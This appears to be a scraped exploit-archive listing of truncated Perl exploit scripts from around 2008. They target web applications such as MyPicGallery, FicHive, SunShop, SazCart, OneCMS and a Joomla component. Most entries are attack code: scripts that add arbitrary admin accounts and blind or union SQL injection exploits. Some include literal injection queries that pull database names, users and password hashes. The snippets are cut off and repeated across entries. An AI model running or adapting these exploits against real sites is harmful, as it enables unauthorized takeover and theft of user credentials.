MyPicGallery 1.0 Arbitrary Add-Admin Exploit

Exploit for unknown platform in category web applications ============================================ MyPicGallery 1.0 Arbitrary Add-Admin Exploit ============================================ !/usr/bin/perl use strict; use LWP::UserAgent; print "-+-- MyPicGallery 1.0 Arbitrary Add-Admin Exploit...

MyPicGallery 1.0 - Arbitrary Add Admin

MyPicGallery 1.0 - Arbitrary Add Admin !/usr/bin/perl use strict; use LWP::UserAgent; print "-+-- MyPicGallery 1.0 Arbitrary Add-Admin Exploit --+-\n"; print "-+-- Discovered && Coded By: t0pP8uZz --+-\n"; print "-+-- Discovered On: 16 MAY 2008 / h4ck-y0u, milw0rm --+-\n"; print "-+-- MyPicGaller...

MeltingIce File System 1.0 - Arbitrary Add User

!/usr/bin/perl use strict; use LWP::UserAgent; NOTE: user a pretty uniqe username, has the script will say successfull if a username aready existed! NOTE: exploit is mainly to get a nice quota, but it can also to be used to add a user primeraly because alot of these sites doesnt allow registratio...

FicHive 1.0 (category) Remote Blind SQL Injection Exploit

Exploit for unknown platform in category web applications ========================================================= FicHive 1.0 category Remote Blind SQL Injection Exploit ========================================================= !/usr/bin/perl Usage: ./test.pl -url...

FicHive 1.0 - category Blind SQL Injection

FicHive 1.0 - category Blind SQL Injection !/usr/bin/perl Usage: ./test.pl -url "http://localhost/scriptpath/index.php?go=Fiction&category= use LWP::UserAgent; use Getopt::Long; use IO::Handle; use strict; $| = 1; my $defaultdebug = 0; my $defaultlength = 13; my $defaultmethod = "GET"; my...

FicHive 1.0 - 'category' Blind SQL Injection

!/usr/bin/perl Usage: ./test.pl -url "http://localhost/scriptpath/index.php?go=Fiction&category= use LWP::UserAgent; use Getopt::Long; use IO::Handle; use strict; $| = 1; my $defaultdebug = 0; my $defaultlength = 13; my $defaultmethod = "GET"; my $defaulttime = 0; my $version = "1.1"; my...

Archangel Weblog 0.90.02 (post_id) SQL Injection Exploit

Exploit for unknown platform in category web applications ======================================================== Archangel Weblog 0.90.02 postid SQL Injection Exploit ======================================================== !/usr/bin/perl -w Portal : Archangel Weblog 0.90.02 Download :...

Archangel Weblog 0.90.02 - post_id SQL Injection

Archangel Weblog 0.90.02 - postid SQL Injection !/usr/bin/perl -w Portal : Archangel Weblog 0.90.02 Download : http://www.archangelmgt.com/ArchangelWeblogv09002.zip exploit aported password crypted mgharba :d:d:d:d Founded & Exploited by : Stack-Terrorist v40 Contact: Ev!L = see down Greetz :...

Pet Grooming Management System 2.0 - Arbitrary Add Admin

Pet Grooming Management System 2.0 - Arbitrary Add Admin !/usr/bin/perl use strict; use LWP::UserAgent; print "-+- Pet Grooming Management System ; print "\nEnter Usernamecreate your admin username: "; chompmy $user=; print "\nEnter Passwordcreate your admin password: "; chompmy $pass=; my $ua =...

SunShop Version 3.5.1 Remote Blind Sql Injection

!/usr/bin/perl -w use LWP::UserAgent; scripts : SunShop Version 3.5.1 Remote Blind Sql Injection scripts site : http://www.turnkeywebtools.com/sunshop/ Discovered By : irvian site : http://irvian.cn email : [email protected] print "rn+-----------------------------------------+rn"; print "+Bli...

Advanced Image Hosting (AIH) 2.1 Remote SQL Injection Exploit

No description provided by source. !/usr/bin/perl -w Advanced Image Host Script Powered by: AIH = v2.1 - Remote SQL Inj Exploit dork:Powered by: AIH v2.1 exploit aported password not crypted exploit tatjibe password mdecrypté :d mgharba :d:d:d:d Founded by : Stack-Terrorist v40 Contact: Ev!L Gree...

sunshop-blindsql.txt

!/usr/bin/perl -w use LWP::UserAgent; scripts : SunShop Version 3.5.1 Remote Blind Sql Injection scripts site : http://www.turnkeywebtools.com/sunshop/ Discovered By : irvian site : http://irvian.cn email : [email protected] print "\r\n+-----------------------------------------+\r\n"; print...

joomlaxsstream-sql.txt

!/usr/bin/perl -w Joomla Component xsstream-dm 0.01 Beta Remote SQL Injection Founded by : Houssamix From H-T Team H-T Team HouSSaMix + ToXiC350 from MoroCCo Contact: Ev!L Greetz : CoNaN & HaCkeREgY & All friends & All muslims HaCkeRs : ScriptName: "Joomla" ComponentName: "xsstream-dm" 0.01 Beta...

sazcart-sql.txt

!/usr/bin/perl SazCart new or die; my $go=$cnx-get$victim."?details&prodid=1'+union+all+select+0,1,convertconcatdatabase,char58,user,char58,version,char,3,4/"; if $go-content = m/Price:.?\br/ms print "+ $1\n\n"; else print "\n- exploit failed\n";...

SazCart <= 1.5.1 (prodid) Remote SQL Injection Exploit

No description provided by source. !/usr/bin/perl SazCart = v1.5.1 details&prodid Remote SQL Injection Exploit HomePage: http://www.sazcart.com Discovered & Coded by JosS Contact: sys-projectathotmail.com Spanish Hackers Team / Sys - Project / EspSeC http://www.spanish-hackers.com rgod forever :D...

SazCart 1.5.1 - 'prodid' SQL Injection

!/usr/bin/perl SazCart new or die; my $go=$cnx-get$victim."?details&prodid=1'+union+all+select+0,1,convertconcatdatabase,char58,user,char58,version,char,3,4/"; if $go-content = m/Price:.?\br/ms print "+ $1\n\n"; else print "\n- exploit failed\n"; milw0rm.com 2008-05-09...

onecms25-sql.txt

!/usr/bin/perl OneCMS 2.5 Remote Blind SQL Injection Exploit Author : Cod3rZ Site : http://cod3rz.helloweb.eu Site : http://devilsnight.altervista.org Usage : perl oc.pl site There's many other bugs, find them yourself use LWP::UserAgent; use HTTP::Request::Common; use Time::HiRes; $ua =...

OneCMS 2.5 Remote Blind SQL Injection Exploit

Exploit for unknown platform in category web applications ============================================= OneCMS 2.5 Remote Blind SQL Injection Exploit ============================================= !/usr/bin/perl OneCMS 2.5 Remote Blind SQL Injection Exploit Author : Cod3rZ Usage : perl oc.pl site...

iGaming CMS 1.5 - poll_vote.php SQL Injection

iGaming CMS 1.5 - pollvote.php SQL Injection source: https://www.securityfocus.com/bid/29059/info iGaming CMS is prone to an SQL-injection vulnerability because it fails to sufficiently sanitize user-supplied data before using it in an SQL query. Exploiting this issue could allow an attacker to...

odfaq-blindsql.txt

!/usr/bin/perl eSploit Framework - Inphex use Digest::MD5 qwmd5 md5hex md5base64; use LWP::UserAgent; use HTTP::Cookies; use Switch; $host = shift; $path = shift; $cat = shift; $nonfind = shift; choose anything thats inside the cat $column = "username"; change if needet $table = "odfaquser"; chan...